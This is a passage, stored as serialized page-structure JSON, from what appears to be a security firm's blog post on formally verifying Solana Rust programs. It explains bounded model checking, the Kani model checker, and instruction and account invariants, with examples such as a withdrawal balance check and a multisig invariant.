type":22,"tag":118,"props":21838,"children":21839},{"style":532},[21840],{"type":28,"value":21687},{"type":22,"tag":118,"props":21842,"children":21843},{"style":125},[21844],{"type":28,"value":21692},{"type":22,"tag":118,"props":21846,"children":21847},{"style":257},[21848],{"type":28,"value":21697},{"type":22,"tag":31,"props":21850,"children":21851},{},[21852,21854,21860,21862,21867],{"type":28,"value":21853},"Both of these cases return ",{"type":22,"tag":114,"props":21855,"children":21857},{"className":21856},[],[21858],{"type":28,"value":21859},"unsat",{"type":28,"value":21861}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":22,"tag":4764,"props":21863,"children":21864},{},[21865],{"type":28,"value":21866},"correct",{"type":28,"value":21868}," according to this property.",{"type":22,"tag":1289,"props":21870,"children":21872},{"id":21871},"loop-bounds-path-explosion",[21873],{"type":28,"value":21874},"Loop bounds & path explosion",{"type":22,"tag":31,"props":21876,"children":21877},{},[21878,21880,21885,21887,21892],{"type":28,"value":21879},"As you may have noticed, BMC requires us to take ",{"type":22,"tag":4764,"props":21881,"children":21882},{},[21883],{"type":28,"value":21884},"every",{"type":28,"value":21886}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":22,"tag":4764,"props":21888,"children":21889},{},[21890],{"type":28,"value":21891},"infinite",{"type":28,"value":21893}," number of paths because the loop branches backward. This might take a while...",{"type":22,"tag":31,"props":21895,"children":21896},{},[21897],{"type":28,"value":21898},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":22,"tag":31,"props":21900,"children":21901},{},[21902],{"type":28,"value":21903},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":22,"tag":31,"props":21905,"children":21906},{},[21907],{"type":28,"value":21908},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":22,"tag":1289,"props":21910,"children":21912},{"id":21911},"kani-model-checker",[21913],{"type":28,"value":21914},"Kani Model Checker",{"type":22,"tag":31,"props":21916,"children":21917},{},[21918,21920,21925],{"type":28,"value":21919},"For our research with formally verifying Solana programs, we are using the ",{"type":22,"tag":42,"props":21921,"children":21923},{"href":20814,"rel":21922},[46],[21924],{"type":28,"value":20818},{"type":28,"value":21926},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":22,"tag":31,"props":21928,"children":21929},{},[21930,21932,21937,21939,21945,21946,21952,21954,21960],{"type":28,"value":21931},"Kani allows you to write ",{"type":22,"tag":4764,"props":21933,"children":21934},{},[21935],{"type":28,"value":21936},"proof harnesses",{"type":28,"value":21938}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":22,"tag":114,"props":21940,"children":21942},{"className":21941},[],[21943],{"type":28,"value":21944},"assume",{"type":28,"value":12991},{"type":22,"tag":114,"props":21947,"children":21949},{"className":21948},[],[21950],{"type":28,"value":21951},"assert",{"type":28,"value":21953}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":22,"tag":114,"props":21955,"children":21957},{"className":21956},[],[21958],{"type":28,"value":21959},"cargo kani",{"type":28,"value":21961}," tool (which compiles your proof harness and runs BMC).",{"type":22,"tag":23,"props":21963,"children":21965},{"id":21964},"specification-how-can-we-describe-what-we-want-our-program-to-do",[21966,21968,21972],{"type":28,"value":21967},"Specification: How can we describe what we ",{"type":22,"tag":4764,"props":21969,"children":21970},{},[21971],{"type":28,"value":20887},{"type":28,"value":20889},{"type":22,"tag":31,"props":21974,"children":21975},{},[21976],{"type":22,"tag":4764,"props":21977,"children":21978},{},[21979],{"type":22,"tag":74,"props":21980,"children":21981},{},[21982],{"type":28,"value":21983},"And what even do we want it to do?",{"type":22,"tag":31,"props":21985,"children":21986},{},[21987,21989,21994],{"type":28,"value":21988},"A fundamental challenge with any formal verification framework is ",{"type":22,"tag":4764,"props":21990,"children":21991},{},[21992],{"type":28,"value":21993},"specifying",{"type":28,"value":21995}," what the \"correct\" behavior should be.",{"type":22,"tag":31,"props":21997,"children":21998},{},[21999],{"type":28,"value":22000},"In natural language, we can describe a few good properties for example Solana programs:",{"type":22,"tag":64,"props":22002,"children":22003},{},[22004,22016,22028],{"type":22,"tag":68,"props":22005,"children":22006},{},[22007,22009,22014],{"type":28,"value":22008},"\"It should not be possible to ",{"type":22,"tag":74,"props":22010,"children":22011},{},[22012],{"type":28,"value":22013},"steal money",{"type":28,"value":22015}," via a swap program\"",{"type":22,"tag":68,"props":22017,"children":22018},{},[22019,22021,22026],{"type":28,"value":22020},"\"A multisig should never get into a state where you ",{"type":22,"tag":74,"props":22022,"children":22023},{},[22024],{"type":28,"value":22025},"can't sign anything",{"type":28,"value":22027},"\"",{"type":22,"tag":68,"props":22029,"children":22030},{},[22031],{"type":28,"value":22032},"\"User funds in a staking protocol \"",{"type":22,"tag":31,"props":22034,"children":22035},{},[22036,22038,22048,22050,22055],{"type":28,"value":22037},"These are types of properties you can tell your ",{"type":22,"tag":42,"props":22039,"children":22042},{"href":22040,"rel":22041},"https://osec.io/",[46],[22043],{"type":22,"tag":4764,"props":22044,"children":22045},{},[22046],{"type":28,"value":22047},"human auditors",{"type":28,"value":22049}," but these English phrases are not particularly useful for ",{"type":22,"tag":4764,"props":22051,"children":22052},{},[22053],{"type":28,"value":22054},"automated verification techniques",{"type":28,"value":22056}," (at least until our AI overlords surpass human intelligence).",{"type":22,"tag":31,"props":22058,"children":22059},{},[22060,22062,22067,22069,22074],{"type":28,"value":22061},"Instead, we need to be able to specify ",{"type":22,"tag":4764,"props":22063,"children":22064},{},[22065],{"type":28,"value":22066},"in code",{"type":28,"value":22068}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":22,"tag":114,"props":22070,"children":22072},{"className":22071},[],[22073],{"type":28,"value":21951},{"type":28,"value":22075}," statement.",{"type":22,"tag":1289,"props":22077,"children":22079},{"id":22078},"solana-invariants",[22080],{"type":28,"value":22081},"Solana Invariants",{"type":22,"tag":31,"props":22083,"children":22084},{},[22085,22087,22092,22093,22098],{"type":28,"value":22086},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":22,"tag":74,"props":22088,"children":22089},{},[22090],{"type":28,"value":22091},"instruction invariants",{"type":28,"value":12991},{"type":22,"tag":74,"props":22094,"children":22095},{},[22096],{"type":28,"value":22097},"account invariants",{"type":28,"value":292},{"type":22,"tag":1899,"props":22100,"children":22102},{"id":22101},"instruction-invariant",[22103],{"type":28,"value":22104},"Instruction Invariant",{"type":22,"tag":31,"props":22106,"children":22107},{},[22108,22110,22115,22117,22123,22124,22130],{"type":28,"value":22109},"An ",{"type":22,"tag":74,"props":22111,"children":22112},{},[22113],{"type":28,"value":22114},"instruction invariant",{"type":28,"value":22116}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":22,"tag":114,"props":22118,"children":22120},{"className":22119},[],[22121],{"type":28,"value":22122},"succeeds_if",{"type":28,"value":15128},{"type":22,"tag":114,"props":22125,"children":22127},{"className":22126},[],[22128],{"type":28,"value":22129},"errors_if",{"type":28,"value":22131}," macro annotations on the instruction handler.",{"type":22,"tag":31,"props":22133,"children":22134},{},[22135],{"type":28,"value":22136},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":22,"tag":31,"props":22138,"children":22139},{},[22140,22142,22148,22150,22155],{"type":28,"value":22141},"For example, say we have a ",{"type":22,"tag":114,"props":22143,"children":22145},{"className":22144},[],[22146],{"type":28,"value":22147},"Withdraw",{"type":28,"value":22149}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":22,"tag":4764,"props":22151,"children":22152},{},[22153],{"type":28,"value":22154},"more",{"type":28,"value":22156}," tokens than their current balance.",{"type":22,"tag":31,"props":22158,"children":22159},{},[22160,22162,22167],{"type":28,"value":22161},"Using our tool, you could specify the following ",{"type":22,"tag":114,"props":22163,"children":22165},{"className":22164},[],[22166],{"type":28,"value":22129},{"type":28,"value":22168}," property on your instruction handler:",{"type":22,"tag":107,"props":22170,"children":22172},{"code":22171,"language":111,"meta":7,"className":109,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[22173],{"type":22,"tag":114,"props":22174,"children":22175},{"__ignoreMap":7},[22176,22184,22219,22226,22295,22303],{"type":22,"tag":118,"props":22177,"children":22178},{"class":120,"line":121},[22179],{"type":22,"tag":118,"props":22180,"children":22181},{"style":125},[22182],{"type":28,"value":22183},"#[errors_if(\n",{"type":22,"tag":118,"props":22185,"children":22186},{"class":120,"line":142},[22187,22192,22196,22201,22205,22210,22214],{"type":22,"tag":118,"props":22188,"children":22189},{"style":125},[22190],{"type":28,"value":22191},"    ctx",{"type":22,"tag":118,"props":22193,"children":22194},{"style":210},[22195],{"type":28,"value":292},{"type":22,"tag":118,"props":22197,"children":22198},{"style":125},[22199],{"type":28,"value":22200},"user",{"type":22,"tag":118,"props":22202,"children":22203},{"style":210},[22204],{"type":28,"value":292},{"type":22,"tag":118,"props":22206,"children":22207},{"style":125},[22208],{"type":28,"value":22209},"balance ",{"type":22,"tag":118,"props":22211,"children":22212},{"style":210},[22213],{"type":28,"value":559},{"type":22,"tag":118,"props":22215,"children":22216},{"style":125},[22217],{"type":28,"value":22218}," amount\n",{"type":22,"tag":118,"props":22220,"children":22221},{"class":120,"line":177},[22222],{"type":22,"tag":118,"props":22223,"children":22224},{"style":125},[22225],{"type":28,"value":139},{"type":22,"tag":118,"props":22227,"children":22228},{"class":120,"line":195},[22229,22233,22238,22242,22246,22250,22254,22258,22262,22266,22271,22275,22279,22283,22287,22291],{"type":22,"tag":118,"props":22230,"children":22231},{"style":146},[22232],{"type":28,"value":2603},{"type":22,"tag":118,"props":22234,"children":22235},{"style":532},[22236],{"type":28,"value":22237}," withdraw",{"type":22,"tag":118,"props":22239,"children":22240},{"style":125},[22241],{"type":28,"value":540},{"type":22,"tag":118,"props":22243,"children":22244},{"style":204},[22245],{"type":28,"value":545},{"type":22,"tag":118,"props":22247,"children":22248},{"style":210},[22249],{"type":28,"value":213},{"type":22,"tag":118,"props":22251,"children":22252},{"style":131},[22253],{"type":28,"value":554},{"type":22,"tag":118,"props":22255,"children":22256},{"style":125},[22257],{"type":28,"value":559},{"type":22,"tag":118,"props":22259,"children":22260},{"style":131},[22261],{"type":28,"value":22147},{"type":22,"tag":118,"props":22263,"children":22264},{"style":125},[22265],{"type":28,"value":569},{"type":22,"tag":118,"props":22267,"children":22268},{"style":204},[22269],{"type":28,"value":22270},"amount",{"type":22,"tag":118,"props":22272,"children":22273},{"style":210},[22274],{"type":28,"value":213},{"type":22,"tag":118,"props":22276,"children":22277},{"style":131},[22278],{"type":28,"value":583},{"type":22,"tag":118,"props":22280,"children":22281},{"style":125},[22282],{"type":28,"value":588},{"type":22,"tag":118,"props":22284,"children":22285},{"style":210},[22286],{"type":28,"value":593},{"type":22,"tag":118,"props":22288,"children":22289},{"style":131},[22290],{"type":28,"value":598},{"type":22,"tag":118,"props":22292,"children":22293},{"style":125},[22294],{"type":28,"value":603},{"type":22,"tag":118,"props":22296,"children":22297},{"class":120,"line":244},[22298],{"type":22,"tag":118,"props":22299,"children":22300},{"style":210},[22301],{"type":28,"value":22302},"    ...\n",{"type":22,"tag":118,"props":22304,"children":22305},{"class":120,"line":253},[22306],{"type":22,"tag":118,"props":22307,"children":22308},{"style":125},[22309],{"type":28,"value":481},{"type":22,"tag":1269,"props":22311,"children":22312},{},[22313],{"type":22,"tag":31,"props":22314,"children":22315},{},[22316,22317,22322,22324,22329,22331,22336],{"type":28,"value":2743},{"type":22,"tag":114,"props":22318,"children":22320},{"className":22319},[],[22321],{"type":28,"value":22129},{"type":28,"value":22323}," expression specifies ",{"type":22,"tag":4764,"props":22325,"children":22326},{},[22327],{"type":28,"value":22328},"succifient",{"type":28,"value":22330}," but not ",{"type":22,"tag":4764,"props":22332,"children":22333},{},[22334],{"type":28,"value":22335},"necessary",{"type":28,"value":22337}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":22,"tag":20760,"props":22339,"children":22340},{},[],{"type":22,"tag":31,"props":22342,"children":22343},{},[22344,22346,22351],{"type":28,"value":22345},"Another example is that for ",{"type":22,"tag":4764,"props":22347,"children":22348},{},[22349],{"type":28,"value":22350},"crank",{"type":28,"value":22352}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":22,"tag":107,"props":22354,"children":22356},{"code":22355,"language":111,"meta":7,"className":109,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[22357],{"type":22,"tag":114,"props":22358,"children":22359},{"__ignoreMap":7},[22360,22368,22421,22428],{"type":22,"tag":118,"props":22361,"children":22362},{"class":120,"line":121},[22363],{"type":22,"tag":118,"props":22364,"children":22365},{"style":125},[22366],{"type":28,"value":22367},"#[succeeds_if(true)]\n",{"type":22,"tag":118,"props":22369,"children":22370},{"class":120,"line":142},[22371,22375,22380,22384,22388,22392,22396,22400,22405,22409,22413,22417],{"type":22,"tag":118,"props":22372,"children":22373},{"style":146},[22374],{"type":28,"value":2603},{"type":22,"tag":118,"props":22376,"children":22377},{"style":532},[22378],{"type":28,"value":22379}," my_crank",{"type":22,"tag":118,"props":22381,"children":22382},{"style":125},[22383],{"type":28,"value":540},{"type":22,"tag":118,"props":22385,"children":22386},{"style":204},[22387],{"type":28,"value":545},{"type":22,"tag":118,"props":22389,"children":22390},{"style":210},[22391],{"type":28,"value":213},{"type":22,"tag":118,"props":22393,"children":22394},{"style":131},[22395],{"type":28,"value":554},{"type":22,"tag":118,"props":22397,"children":22398},{"style":125},[22399],{"type":28,"value":559},{"type":22,"tag":118,"props":22401,"children":22402},{"style":131},[22403],{"type":28,"value":22404},"Crank",{"type":22,"tag":118,"props":22406,"children":22407},{"style":125},[22408],{"type":28,"value":3504},{"type":22,"tag":118,"props":22410,"children":22411},{"style":210},[22412],{"type":28,"value":593},{"type":22,"tag":118,"props":22414,"children":22415},{"style":131},[22416],{"type":28,"value":598},{"type":22,"tag":118,"props":22418,"children":22419},{"style":125},[22420],{"type":28,"value":603},{"type":22,"tag":118,"props":22422,"children":22423},{"class":120,"line":177},[22424],{"type":22,"tag":118,"props":22425,"children":22426},{"style":210},[22427],{"type":28,"value":22302},{"type":22,"tag":118,"props":22429,"children":22430},{"class":120,"line":195},[22431],{"type":22,"tag":118,"props":22432,"children":22433},{"style":125},[22434],{"type":28,"value":481},{"type":22,"tag":31,"props":22436,"children":22437},{},[22438,22440,22444,22446,22451],{"type":28,"value":22439},"With this invariant, you could prove that the function ",{"type":22,"tag":4764,"props":22441,"children":22442},{},[22443],{"type":28,"value":15088},{"type":28,"value":22445}," returns ",{"type":22,"tag":114,"props":22447,"children":22449},{"className":22448},[],[22450],{"type":28,"value":3236},{"type":28,"value":22452},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":22,"tag":20760,"props":22454,"children":22455},{},[],{"type":22,"tag":31,"props":22457,"children":22458},{},[22459,22461,22466,22467,22472,22474,22479,22481,22486,22488,22493],{"type":28,"value":22460},"Note that ",{"type":22,"tag":114,"props":22462,"children":22464},{"className":22463},[],[22465],{"type":28,"value":22122},{"type":28,"value":12991},{"type":22,"tag":114,"props":22468,"children":22470},{"className":22469},[],[22471],{"type":28,"value":22129},{"type":28,"value":22473}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":22,"tag":114,"props":22475,"children":22477},{"className":22476},[],[22478],{"type":28,"value":22122},{"type":28,"value":22480}," is not satisfied and a function may fail even if ",{"type":22,"tag":114,"props":22482,"children":22484},{"className":22483},[],[22485],{"type":28,"value":22129},{"type":28,"value":22487}," is not satisfied. If you want to prove the ",{"type":22,"tag":4764,"props":22489,"children":22490},{},[22491],{"type":28,"value":22492},"exact condition",{"type":28,"value":22494}," required for an instruction to succeed, you could use a form like the following:",{"type":22,"tag":107,"props":22496,"children":22498},{"code":22497,"language":111,"meta":7,"className":109,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[22499],{"type":22,"tag":114,"props":22500,"children":22501},{"__ignoreMap":7},[22502,22546,22553,22569,22595,22647,22654],{"type":22,"tag":118,"props":22503,"children":22504},{"class":120,"line":121},[22505,22509,22514,22518,22522,22526,22530,22534,22538,22542],{"type":22,"tag":118,"props":22506,"children":22507},{"style":146},[22508],{"type":28,"value":2603},{"type":22,"tag":118,"props":22510,"children":22511},{"style":532},[22512],{"type":28,"value":22513}," my_invariant",{"type":22,"tag":118,"props":22515,"children":22516},{"style":125},[22517],{"type":28,"value":540},{"type":22,"tag":118,"props":22519,"children":22520},{"style":210},[22521],{"type":28,"value":11589},{"type":22,"tag":118,"props":22523,"children":22524},{"style":125},[22525],{"type":28,"value":588},{"type":22,"tag":118,"props":22527,"children":22528},{"style":210},[22529],{"type":28,"value":593},{"type":22,"tag":118,"props":22531,"children":22532},{"style":131},[22533],{"type":28,"value":1469},{"type":22,"tag":118,"props":22535,"children":22536},{"style":125},[22537],{"type":28,"value":11584},{"type":22,"tag":118,"props":22539,"children":22540},{"style":210},[22541],{"type":28,"value":11589},{"type":22,"tag":118,"props":22543,"children":22544},{"style":125},[22545],{"type":28,"value":11594},{"type":22,"tag":118,"props":22547,"children":22548},{"class":120,"line":142},[22549],{"type":22,"tag":118,"props":22550,"children":22551},{"emptyLinePlaceholder":15},[22552],{"type":28,"value":250},{"type":22,"tag":118,"props":22554,"children":22555},{"class":120,"line":177},[22556,22561,22565],{"type":22,"tag":118,"props":22557,"children":22558},{"style":125},[22559],{"type":28,"value":22560},"#[succeeds_if(my_invariant(",{"type":22,"tag":118,"props":22562,"children":22563},{"style":210},[22564],{"type":28,"value":11589},{"type":22,"tag":118,"props":22566,"children":22567},{"style":125},[22568],{"type":28,"value":2067},{"type":22,"tag":118,"props":22570,"children":22571},{"class":120,"line":195},[22572,22577,22582,22587,22591],{"type":22,"tag":118,"props":22573,"children":22574},{"style":125},[22575],{"type":28,"value":22576},"#[errors_if(",{"type":22,"tag":118,"props":22578,"children":22579},{"style":210},[22580],{"type":28,"value":22581},"!",{"type":22,"tag":118,"props":22583,"children":22584},{"style":125},[22585],{"type":28,"value":22586},"my_invariant(",{"type":22,"tag":118,"props":22588,"children":22589},{"style":210},[22590],{"type":28,"value":11589},{"type":22,"tag":118,"props":22592,"children":22593},{"style":125},[22594],{"type":28,"value":2067},{"type":22,"tag":118,"props":22596,"children":22597},{"class":120,"line":244},[22598,22602,22607,22611,22615,22619,22623,22627,22631,22635,22639,22643],{"type":22,"tag":118,"props":22599,"children":22600},{"style":146},[22601],{"type":28,"value":2603},{"type":22,"tag":118,"props":22603,"children":22604},{"style":532},[22605],{"type":28,"value":22606}," my_instruction",{"type":22,"tag":118,"props":22608,"children":22609},{"style":125},[22610],{"type":28,"value":540},{"type":22,"tag":118,"props":22612,"children":22613},{"style":204},[22614],{"type":28,"value":545},{"type":22,"tag":118,"props":22616,"children":22617},{"style":210},[22618],{"type":28,"value":213},{"type":22,"tag":118,"props":22620,"children":22621},{"style":131},[22622],{"type":28,"value":554},{"type":22,"tag":118,"props":22624,"children":22625},{"style":125},[22626],{"type":28,"value":559},{"type":22,"tag":118,"props":22628,"children":22629},{"style":210},[22630],{"type":28,"value":11589},{"type":22,"tag":118,"props":22632,"children":22633},{"style":125},[22634],{"type":28,"value":3504},{"type":22,"tag":118,"props":22636,"children":22637},{"style":210},[22638],{"type":28,"value":593},{"type":22,"tag":118,"props":22640,"children":22641},{"style":131},[22642],{"type":28,"value":598},{"type":22,"tag":118,"props":22644,"children":22645},{"style":125},[22646],{"type":28,"value":603},{"type":22,"tag":118,"props":22648,"children":22649},{"class":120,"line":253},[22650],{"type":22,"tag":118,"props":22651,"children":22652},{"style":210},[22653],{"type":28,"value":22302},{"type":22,"tag":118,"props":22655,"children":22656},{"class":120,"line":263},[22657],{"type":22,"tag":118,"props":22658,"children":22659},{"style":125},[22660],{"type":28,"value":481},{"type":22,"tag":31,"props":22662,"children":22663},{},[22664],{"type":28,"value":22665},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":22,"tag":1899,"props":22667,"children":22669},{"id":22668},"account-invariants",[22670],{"type":28,"value":22671},"Account Invariants",{"type":22,"tag":31,"props":22673,"children":22674},{},[22675,22677,22682],{"type":28,"value":22676},"The other type of invariant is an ",{"type":22,"tag":74,"props":22678,"children":22679},{},[22680],{"type":28,"value":22681},"Account Invariant",{"type":28,"value":22683},". This invariant describes some property of an account that should always hold.",{"type":22,"tag":31,"props":22685,"children":22686},{},[22687,22689,22694,22695,22701],{"type":28,"value":22688},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":22,"tag":114,"props":22690,"children":22692},{"className":22691},[],[22693],{"type":28,"value":188},{"type":28,"value":15128},{"type":22,"tag":114,"props":22696,"children":22698},{"className":22697},[],[22699],{"type":28,"value":22700},"init",{"type":28,"value":22702},").",{"type":22,"tag":31,"props":22704,"children":22705},{},[22706,22708,22714],{"type":28,"value":22707},"For example, given a mock ",{"type":22,"tag":114,"props":22709,"children":22711},{"className":22710},[],[22712],{"type":28,"value":22713},"UserStatement",{"type":28,"value":22715}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":22,"tag":107,"props":22717,"children":22719},{"code":22718,"language":111,"meta":7,"className":109,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[22720],{"type":22,"tag":114,"props":22721,"children":22722},{"__ignoreMap":7},[22723,22731,22739,22772,22779,22795,22819,22843,22867],{"type":22,"tag":118,"props":22724,"children":22725},{"class":120,"line":121},[22726],{"type":22,"tag":118,"props":22727,"children":22728},{"style":125},[22729],{"type":28,"value":22730},"#[account]\n",{"type":22,"tag":118,"props":22732,"children":22733},{"class":120,"line":142},[22734],{"type":22,"tag":118,"props":22735,"children":22736},{"style":125},[22737],{"type":28,"value":22738},"#[invariant(\n",{"type":22,"tag":118,"props":22740,"children":22741},{"class":120,"line":177},[22742,22746,22750,22755,22759,22763,22767],{"type":22,"tag":118,"props":22743,"children":22744},{"style":125},[22745],{"type":28,"value":2477},{"type":22,"tag":118,"props":22747,"children":22748},{"style":210},[22749],{"type":28,"value":292},{"type":22,"tag":118,"props":22751,"children":22752},{"style":125},[22753],{"type":28,"value":22754},"assets ",{"type":22,"tag":118,"props":22756,"children":22757},{"style":210},[22758],{"type":28,"value":11942},{"type":22,"tag":118,"props":22760,"children":22761},{"style":125},[22762],{"type":28,"value":2100},{"type":22,"tag":118,"props":22764,"children":22765},{"style":210},[22766],{"type":28,"value":292},{"type":22,"tag":118,"props":22768,"children":22769},{"style":125},[22770],{"type":28,"value":22771},"liabilities\n",{"type":22,"tag":118,"props":22773,"children":22774},{"class":120,"line":195},[22775],{"type":22,"tag":118,"props":22776,"children":22777},{"style":125},[22778],{"type":28,"value":139},{"type":22,"tag":118,"props":22780,"children":22781},{"class":120,"line":244},[22782,22786,22791],{"type":22,"tag":118,"props":22783,"children":22784},{"style":146},[22785],{"type":28,"value":11399},{"type":22,"tag":118,"props":22787,"children":22788},{"style":131},[22789],{"type":28,"value":22790}," UserStatement",{"type":22,"tag":118,"props":22792,"children":22793},{"style":125},[22794],{"type":28,"value":1474},{"type":22,"tag":118,"props":22796,"children":22797},{"class":120,"line":253},[22798,22802,22807,22811,22815],{"type":22,"tag":118,"props":22799,"children":22800},{"style":146},[22801],{"type":28,"value":201},{"type":22,"tag":118,"props":22803,"children":22804},{"style":204},[22805],{"type":28,"value":22806}," owner",{"type":22,"tag":118,"props":22808,"children":22809},{"style":210},[22810],{"type":28,"value":213},{"type":22,"tag":118,"props":22812,"children":22813},{"style":131},[22814],{"type":28,"value":2806},{"type":22,"tag":118,"props":22816,"children":22817},{"style":125},[22818],{"type":28,"value":782},{"type":22,"tag":118,"props":22820,"children":22821},{"class":120,"line":263},[22822,22826,22831,22835,22839],{"type":22,"tag":118,"props":22823,"children":22824},{"style":146},[22825],{"type":28,"value":201},{"type":22,"tag":118,"props":22827,"children":22828},{"style":204},[22829],{"type":28,"value":22830}," assets",{"type":22,"tag":118,"props":22832,"children":22833},{"style":210},[22834],{"type":28,"value":213},{"type":22,"tag":118,"props":22836,"children":22837},{"style":131},[22838],{"type":28,"value":583},{"type":22,"tag":118,"props":22840,"children":22841},{"style":125},[22842],{"type":28,"value":782},{"type":22,"tag":118,"props":22844,"children":22845},{"class":120,"line":318},[22846,22850,22855,22859,22863],{"type":22,"tag":118,"props":22847,"children":22848},{"style":146},[22849],{"type":28,"value":201},{"type":22,"tag":118,"props":22851,"children":22852},{"style":204},[22853],{"type":28,"value":22854}," liabilities",{"type":22,"tag":118,"props":22856,"children":22857},{"style":210},[22858],{"type":28,"value":213},{"type":22,"tag":118,"props":22860,"children":22861},{"style":131},[22862],{"type":28,"value":583},{"type":22,"tag":118,"props":22864,"children":22865},{"style":125},[22866],{"type":28,"value":782},{"type":22,"tag":118,"props":22868,"children":22869},{"class":120,"line":351},[22870],{"type":22,"tag":118,"props":22871,"children":22872},{"style":125},[22873],{"type":28,"value":481},{"type":22,"tag":31,"props":22875,"children":22876},{},[22877,22879,22884],{"type":28,"value":22878},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":22,"tag":114,"props":22880,"children":22882},{"className":22881},[],[22883],{"type":28,"value":22713},{"type":28,"value":22885}," is created or modified.",{"type":22,"tag":31,"props":22887,"children":22888},{},[22889,22891,22897],{"type":28,"value":22890},"In another example, we developed the following invariant for the ",{"type":22,"tag":42,"props":22892,"children":22894},{"href":20791,"rel":22893},[46],[22895],{"type":28,"value":22896},"Squads Multisig",{"type":28,"value":22898}," wallet account:",{"type":22,"tag":107,"props":22900,"children":22902},{"code":22901,"language":111,"meta":7,"className":109,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[22903],{"type":22,"tag":114,"props":22904,"children":22905},{"__ignoreMap":7},[22906,22913,22920,22949,23008,23037,23089,23096,23116,23146,23176,23206,23235,23265,23295,23324,23363],{"type":22,"tag":118,"props":22907,"children":22908},{"class":120,"line":121},[22909],{"type":22,"tag":118,"props":22910,"children":22911},{"style":125},[22912],{"type":28,"value":22730},{"type":22,"tag":118,"props":22914,"children":22915},{"class":120,"line":142},[22916],{"type":22,"tag":118,"props":22917,"children":22918},{"style":125},[22919],{"type":28,"value":22738},{"type":22,"tag":118,"props":22921,"children":22922},{"class":120,"line":177},[22923,22927,22931,22935,22940,22944],{"type":22,"tag":118,"props":22924,"children":22925},{"style":210},[22926],{"type":28,"value":2644},{"type":22,"tag":118,"props":22928,"children":22929},{"style":125},[22930],{"type":28,"value":1412},{"type":22,"tag":118,"props":22932,"children":22933},{"style":210},[22934],{"type":28,"value":292},{"type":22,"tag":118,"props":22936,"children":22937},{"style":125},[22938],{"type":28,"value":22939},"keys",{"type":22,"tag":118,"props":22941,"children":22942},{"style":210},[22943],{"type":28,"value":292},{"type":22,"tag":118,"props":22945,"children":22946},{"style":125},[22947],{"type":28,"value":22948},"is_empty()\n",{"type":22,"tag":118,"props":22950,"children":22951},{"class":120,"line":195},[22952,22956,22961,22965,22969,22973,22978,22982,22987,22991,22996,23000,23004],{"type":22,"tag":118,"props":22953,"children":22954},{"style":210},[22955],{"type":28,"value":3261},{"type":22,"tag":118,"props":22957,"children":22958},{"style":125},[22959],{"type":28,"value":22960}," (self",{"type":22,"tag":118,"props":22962,"children":22963},{"style":210},[22964],{"type":28,"value":292},{"type":22,"tag":118,"props":22966,"children":22967},{"style":125},[22968],{"type":28,"value":22939},{"type":22,"tag":118,"props":22970,"children":22971},{"style":210},[22972],{"type":28,"value":292},{"type":22,"tag":118,"props":22974,"children":22975},{"style":125},[22976],{"type":28,"value":22977},"len() ",{"type":22,"tag":118,"props":22979,"children":22980},{"style":210},[22981],{"type":28,"value":21382},{"type":22,"tag":118,"props":22983,"children":22984},{"style":131},[22985],{"type":28,"value":22986}," 